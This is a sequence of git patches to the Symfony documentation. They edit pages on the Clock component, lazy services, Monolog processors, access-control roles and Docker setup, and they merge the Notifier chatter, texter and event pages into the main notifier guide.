     The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
+
+.. _`PSR-20`: https://www.php-fig.org/psr/psr-20/

From 674f5a46223f467145d851a2a2d161977f050d85 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Jan 2023 13:50:40 +0100
Subject: [PATCH 4157/7107] Tweaks

---
 components/clock.rst | 19 ++++++++-----------
 1 file changed, 8 insertions(+), 11 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 0ca1200b2c8..e4a5b7deb96 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -38,13 +38,14 @@ Usage
 -----
 
 The :class:`Symfony\\Component\\Clock\\Clock` class returns the current time and
-allows to use any implementation of the interface described by `PSR-20`_ as a global
-clock in your application::
+allows to use any `PSR-20`_ compatible implementation as a global clock in your
+application::
 
     use Symfony\Component\Clock\Clock;
     use Symfony\Component\Clock\MockClock;
 
-    // You can set a custom clock implementation, or use the NativeClock default one
+    // by default, Clock uses the NativeClock implementation, but you can change
+    // this by setting any other implementation
     Clock::set(new MockClock());
 
     // Then, you can get the clock instance
@@ -53,10 +54,10 @@ clock in your application::
     // Additionally, you can set a timezone
     $clock->withTimeZone('Europe/Paris');
 
-    // From here, you are able to get the current time
+    // From here, you can get the current time
     $now = $clock->now();
 
-    // And also to sleep for an amount of time
+    // And sleep for any number of seconds
     $clock->sleep(2.5);
 
 The Clock component also provides the ``now()`` function::
@@ -66,11 +67,7 @@ The Clock component also provides the ``now()`` function::
     // Get the current time as a DateTimeImmutable instance
     $now = now();
 
-.. tip::
-
-    If you want to use the Clock component in your services, you may
-    have a look at the section about
-    :ref:`using a clock inside your services <clock_use-inside-a-service>`.
+Later on this page you can learn how to use this clock in your services and tests.
 
 .. versionadded:: 6.3
 
@@ -80,7 +77,7 @@ The Clock component also provides the ``now()`` function::
 Available Clocks Implementations
 --------------------------------
 
-The Clock component provides many ready-to-use implementations of the
+The Clock component provides some ready-to-use implementations of the
 :class:`Symfony\\Component\\Clock\\ClockInterface`, which you can use
 as global clocks in your application depending on your needs.
 

From 53db051165491cb222177d6562b0448e4090474f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Jan 2023 16:41:43 +0100
Subject: [PATCH 4158/7107] Minor tweak

---
 controller/value_resolver.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 578b2738d56..e6da01ea77f 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -96,10 +96,10 @@ Symfony ships with the following value resolvers in the
 
     .. tip::
 
-        The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`,
-        which means you can have full control over the date and time values the controller receives when
-        testing your application. This can be achieved by using the
-        :class:`Symfony\\Component\\Clock\\MockClock` implementation in your test environment.
+        The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`.
+        This. gives your full control over the date and time values the controller
+        receives when testing your application and using the
+        :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 
     .. versionadded:: 6.1
 

From b408ab836dde32422e2a9fcd19ff53ae0896fb0d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 21 Jan 2023 17:39:35 +0100
Subject: [PATCH 4159/7107] [LazyServices] Add `#[Autoconfigure]` attribute
 mention

---
 service_container/lazy_services.rst | 43 +++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 7b0bd0442c5..28c11f60fa4 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -41,6 +41,8 @@ In order to use the lazy service instantiation, you will need to install the
 
     $ composer require symfony/proxy-manager-bridge
 
+.. _lazy-services_configuration:
+
 Configuration
 -------------
 
@@ -101,6 +103,26 @@ To check if your proxy works you can check the interface of the received object:
     over the ``lazy`` flag and directly instantiate the service as it would
     normally do.
 
+You can also configure your service's laziness thanks to the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
+The attribute has to be used like this::
+
+    namespace App\Twig;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+    use Twig\Extension\ExtensionInterface;
+
+    #[Autoconfigure(lazy: true)]
+    class AppExtension implements ExtensionInterface
+    {
+        // ...
+    }
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
+    was introduced in Symfony 5.4.
+
 Interface Proxifying
 --------------------
 
@@ -159,6 +181,27 @@ specific interfaces.
             ;
         };
 
+Just like in the :ref:`Configuration <lazy-services_configuration>` section, you can
+use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure`
+attribute to configure the interface to proxify by passing its FQCN as the ``lazy``
+parameter value::
+
+    namespace App\Twig;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+    use Twig\Extension\ExtensionInterface;
+
+    #[Autoconfigure(lazy: ExtensionInterface::class)]
+    class AppExtension implements ExtensionInterface
+    {
+        // ...
+    }
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
+    was introduced in Symfony 5.4.
+
 The virtual `proxy`_ injected into other services will only implement the
 specified interfaces and will not extend the original service class, allowing to
 lazy load services using `final`_ classes. You can configure the proxy to

From 2dfba6bfd929c27be3386aefa862fbf1cb4fa0ed Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 22 Jan 2023 12:27:59 +0100
Subject: [PATCH 4160/7107] [Form] Fix alphabetical order of imports

---
 components/form.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 882e720f357..ef1e1ed609c 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -579,10 +579,10 @@ method:
 
     .. code-block:: php-standalone
 
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\HttpFoundation\RedirectResponse;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\RedirectResponse;
+        use Symfony\Component\HttpFoundation\Request;
 
         // ...
 

From c53ad3164d604e35e61f83ab0619db47bfb18e21 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 22 Jan 2023 16:46:44 +0100
Subject: [PATCH 4161/7107] [Logging] Mention `#[AsMonologProcessor]`

---
 logging/processors.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/logging/processors.rst b/logging/processors.rst
index 76cb497fd70..8e67634ccd0 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -164,6 +164,30 @@ If you use several handlers, you can also register a processor at the
 handler level or at the channel level instead of registering it globally
 (see the following sections).
 
+When registering a new processor, instead of adding the tag manually in your
+configuration files, you can take full advantage of the ``#[AsMonologProcessor]``
+attribute by using it one the processor class::
+
+    // src/Logger/SessionRequestProcessor.php
+    namespace App\Logger;
+
+    use Monolog\Attribute\AsMonologProcessor;
+    // ...
+
+    #[AsMonologProcessor]
+    class SessionRequestProcessor
+    {
+        // ...
+    }
+
+The ``#[AsMonologProcessor]`` attribute takes 3 optional arguments:
+
+* ``channel``: the logging channel the processor should be pushed to
+* ``handler``: the handler the processor should be pushed to
+* ``method``: the method that processes the records (if the attribute is used
+  at the class level). Indeed, the attribute can also be used directly
+  on a class method.
+
 Symfony's MonologBridge provides processors that can be registered inside your application.
 
 :class:`Symfony\\Bridge\\Monolog\\Processor\\DebugProcessor`

From 8547d282c5f47e8c95229422e997cbdc9f391d48 Mon Sep 17 00:00:00 2001
From: Ramzi ABDELAZIZ <ramzii.abdelaziz@gmail.com>
Date: Sun, 22 Jan 2023 20:25:17 +0100
Subject: [PATCH 4162/7107] Replacing deprecated role:
 IS_AUTHENTICATED_ANONYMOUSLY

Replacing deprecated role: IS_AUTHENTICATED_ANONYMOUSLY
---
 security/access_control.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 948825e64fd..680c79b0840 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -240,7 +240,7 @@ pattern so that it is only accessible by requests from the local server itself:
             access_control:
                 #
                 # the 'ips' option supports IP addresses and subnet masks
-                - { path: '^/internal', roles: IS_AUTHENTICATED_ANONYMOUSLY, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
+                - { path: '^/internal', roles: PUBLIC_ACCESS, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
                 - { path: '^/internal', roles: ROLE_NO_ACCESS }
 
     .. code-block:: xml
@@ -259,7 +259,7 @@ pattern so that it is only accessible by requests from the local server itself:
                 <!-- ... -->
 
                 <!-- the 'ips' option supports IP addresses and subnet masks -->
-                <rule path="^/internal" role="IS_AUTHENTICATED_ANONYMOUSLY">
+                <rule path="^/internal" role="PUBLIC_ACCESS">
                     <ip>127.0.0.1</ip>
                     <ip>::1</ip>
                 </rule>
@@ -278,7 +278,7 @@ pattern so that it is only accessible by requests from the local server itself:
 
             $security->accessControl()
                 ->path('^/internal')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 // the 'ips' option supports IP addresses and subnet masks
                 ->ips(['127.0.0.1', '::1'])
             ;
@@ -306,7 +306,7 @@ address):
 
 * Now, the first access control rule is enabled as both the ``path`` and the
   ``ip`` match: access is allowed as the user always has the
-  ``IS_AUTHENTICATED_ANONYMOUSLY`` role.
+  ``PUBLIC_ACCESS`` role.
 
 * The second access rule is not examined as the first rule matched.
 
@@ -411,7 +411,7 @@ access those URLs via a specific port. This could be useful for example for
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, port: 8080 }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, port: 8080 }
 
     .. code-block:: xml
 
@@ -428,7 +428,7 @@ access those URLs via a specific port. This could be useful for example for
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     port="8080"
                 />
             </config>
@@ -444,7 +444,7 @@ access those URLs via a specific port. This could be useful for example for
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->port(8080)
             ;
         };
@@ -465,7 +465,7 @@ the user will be redirected to ``https``:
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, requires_channel: https }
 
     .. code-block:: xml
 
@@ -482,7 +482,7 @@ the user will be redirected to ``https``:
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     requires-channel="https"
                 />
             </config>
@@ -498,7 +498,7 @@ the user will be redirected to ``https``:
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->requiresChannel('https')
             ;
         };

From 2f8d9d48b27407857bb83fe335cb165726ae3e9a Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Mon, 23 Jan 2023 11:34:55 +0100
Subject: [PATCH 4163/7107] [docker] fix composer `extra` variable name

---
 setup/docker.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index d3d51cb781f..cc6b4f6ebf6 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -26,7 +26,7 @@ your ``docker-compose.yml`` file will automatically be updated to include a
 
 The first time you install a recipe containing Docker config, Flex will ask you
 if you want to include it. Or, you can set your preference in ``composer.json``,
-by setting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+by setting the ``extra.symfony.docker`` config to ``true`` or ``false``.
 
 Some recipes also include additions to your ``Dockerfile``. To get those changes,
 you need to already have a ``Dockerfile`` at the root of your app *with* the

From cedce3617143f8a603fef210a5a7d3500cccf84d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Jan 2023 11:56:46 +0100
Subject: [PATCH 4164/7107] Tweak

---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 28c11f60fa4..507be3d2f1a 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -105,7 +105,7 @@ To check if your proxy works you can check the interface of the received object:
 
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
-The attribute has to be used like this::
+For example, to define your service as lazy use the following::
 
     namespace App\Twig;
 

From 8fd6472d3d0363ac6ea600c05112556daeeb347c Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 20:11:51 +0100
Subject: [PATCH 4165/7107] [Notifier] Notifier docs merge

---
 _build/redirection_map |   3 +
 notifier.rst           | 203 ++++++++++++++++---
 notifier/chatters.rst  | 430 -----------------------------------------
 notifier/discord.rst   |  58 ++++++
 notifier/events.rst    |  79 --------
 notifier/slack.rst     | 206 ++++++++++++++++++++
 notifier/teams.rst     |  99 ++++++++++
 notifier/telegram.rst  |  39 ++++
 notifier/texters.rst   |  52 -----
 9 files changed, 579 insertions(+), 590 deletions(-)
 delete mode 100644 notifier/chatters.rst
 create mode 100644 notifier/discord.rst
 delete mode 100644 notifier/events.rst
 create mode 100644 notifier/slack.rst
 create mode 100644 notifier/teams.rst
 create mode 100644 notifier/telegram.rst
 delete mode 100644 notifier/texters.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 764f690c213..c58e85b6c23 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -540,3 +540,6 @@
 /components/yaml/yaml_format /components/yaml#yaml-format
 /components/expression_language/syntax /components/expression_language#expression-language-syntax
 /components/expression_language/extending /components/expression_language#expression-language-extending
+/notifier/chatters /notifier#sending-chat-messages
+/notifier/texters /notifier#sending-sms
+/notifier/events /notifier#notifier-events
diff --git a/notifier.rst b/notifier.rst
index 4455fb563dc..0590c5ae4b6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -46,7 +46,6 @@ The notifier component supports the following channels:
     API's tokens.
 
 .. _notifier-sms-channel:
-.. _notifier-texter-dsn:
 
 SMS Channel
 ~~~~~~~~~~~
@@ -169,8 +168,47 @@ configure the ``texter_transports``:
             ;
         };
 
+.. _sending-sms:
+
+The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows you to
+send SMS messages::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    use Symfony\Component\Notifier\Message\SmsMessage;
+    use Symfony\Component\Notifier\TexterInterface;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class SecurityController
+    {
+        /**
+         * @Route("/login/success")
+         */
+        public function loginSuccess(TexterInterface $texter)
+        {
+            $sms = new SmsMessage(
+                // the phone number to send the SMS message to
+                '+1411111111',
+                // the message
+                'A new login was detected!'
+            );
+
+            $sentMessage = $texter->send($sms);
+
+            // ...
+        }
+    }
+
+The ``send()`` method returns a variable of type
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
+information such as the message ID and the original message contents.
+
+.. versionadded:: 5.2
+
+    The ``SentMessage`` class was introduced in Symfony 5.2.
+
 .. _notifier-chat-channel:
-.. _notifier-chatter-dsn:
 
 Chat Channel
 ~~~~~~~~~~~~
@@ -186,24 +224,24 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==============  ====================================  =============================================================================
-Service         Package                               DSN
-==============  ====================================  =============================================================================
-AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
-Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
-Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
-GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
-Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
-RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==============  ====================================  =============================================================================
+======================================  ====================================  =============================================================================
+Service                                 Package                               DSN
+======================================  ====================================  =============================================================================
+AmazonSns                               ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+:doc:`Discord <notifier/discord>`       ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+FakeChat                                ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+Firebase                                ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Gitter                                  ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+GoogleChat                              ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LinkedIn                                ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+Mattermost                              ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure                                 ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+:doc:`MicrosoftTeams <notifier/teams>`  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+RocketChat                              ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+:doc:`Slack <notifier/slack>`           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+:doc:`Telegram <notifier/telegram>`     ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zulip                                   ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+======================================  ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
@@ -273,6 +311,41 @@ Chatters are configured using the ``chatter_transports`` setting:
             ;
         };
 
+.. _sending-chat-messages:
+
+The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
+you to send messages to chat services::
+
+    // src/Controller/CheckoutController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Notifier\ChatterInterface;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class CheckoutController extends AbstractController
+    {
+        /**
+         * @Route("/checkout/thankyou")
+         */
+        public function thankyou(ChatterInterface $chatter)
+        {
+            $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
+                // if not set explicitly, the message is send to the
+                // default transport (the first one configured)
+                ->transport('slack');
+
+            $sentMessage = $chatter->send($message);
+
+            // ...
+        }
+    }
+
+The ``send()`` method returns a variable of type
+:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
+information such as the message ID and the original message contents.
+
 .. _notifier-email-channel:
 
 Email Channel
@@ -750,18 +823,90 @@ all configured texter and chatter transports only in the ``dev`` (and/or
             chatter_transports:
                 slack: 'null://null'
 
+.. _notifier-events:
+
+.. index::
+    single: Notifier; Events
+
+Using Events
+------------
+
+.. versionadded:: 5.4
+
+    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
+    introduced in Symfony 5.4.
+
+The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
+allows you to optionally hook into the lifecycle via events.
+
+The ``MessageEvent::class`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**Typical Purposes**: Doing something before the message is send (like logging
+which message is going to be send, or displaying something about the event
+to be executed.
+
+Just before send the message, the event class ``MessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\MessageEvent;
+
+    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // log something
+        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
+    });
+
+The ``FailedMessageEvent`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
+
+Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
+dispatched. A listener can do anything useful before the exception is thrown.
+
+Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\FailedMessageEvent;
+
+    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // gets the error instance
+        $error = $event->getError();
+
+        // log something
+        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
+    });
+
+The ``SentMessageEvent`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
+when the message is sent).
+
+After the message has been successfully sent, the event class ``SentMessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\SentMessageEvent;
+
+    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getOriginalMessage();
+
+        // log something
+        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
+    });
+
 .. TODO
 ..    - Using the message bus for asynchronous notification
 ..    - Describe notifier monolog handler
 ..    - Describe notification_on_failed_messages integration
 
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    notifier/*
-
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
deleted file mode 100644
index bc1a4da1914..00000000000
--- a/notifier/chatters.rst
+++ /dev/null
@@ -1,430 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-How to send Chat Messages
-=========================
-
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
-The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
-you to send messages to chat services like Slack or Telegram::
-
-    // src/Controller/CheckoutController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Notifier\ChatterInterface;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class CheckoutController extends AbstractController
-    {
-        /**
-         * @Route("/checkout/thankyou")
-         */
-        public function thankyou(ChatterInterface $chatter)
-        {
-            $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is send to the
-                // default transport (the first one configured)
-                ->transport('slack');
-
-            $sentMessage = $chatter->send($message);
-
-            // ...
-        }
-    }
-
-The ``send()`` method returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
-.. seealso::
-
-    Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
-    to configure the different transports.
-
-Adding Interactions to a Slack Message
---------------------------------------
-
-With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
-to add some interactive options called `Block elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Contribute To Symfony');
-
-    // Create Slack Actions Block and add some buttons
-    $contributeToSymfonyBlocks = (new SlackActionsBlock())
-        ->button(
-            'Improve Documentation',
-            'https://symfony.com/doc/current/contributing/documentation/standards.html',
-            'primary'
-        )
-        ->button(
-            'Report bugs',
-            'https://symfony.com/doc/current/contributing/code/bugs.html',
-            'danger'
-        );
-
-    $slackOptions = (new SlackOptions())
-        ->block((new SlackSectionBlock())
-            ->text('The Symfony Community')
-            ->accessory(
-                new SlackImageBlockElement(
-                    'https://symfony.com/favicons/apple-touch-icon.png',
-                    'Symfony'
-                )
-            )
-        )
-        ->block(new SlackDividerBlock())
-        ->block($contributeToSymfonyBlocks);
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($slackOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Fields and Values to a Slack Message
--------------------------------------------
-
-To add fields and values to your message you can use the
-:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/field-method.png
-   :align: center
-
-.. versionadded:: 5.1
-
-    The `field()` method was introduced in Symfony 5.1.
-
-Adding a Header to a Slack Message
-----------------------------------
-
-To add a header to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackHeaderBlock('My Header')))
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-header.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
-
-Adding a Footer to a Slack Message
-----------------------------------
-
-To add a footer to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $contextBlock = (new SlackContextBlock())
-        ->text('My Context')
-        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
-    ;
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
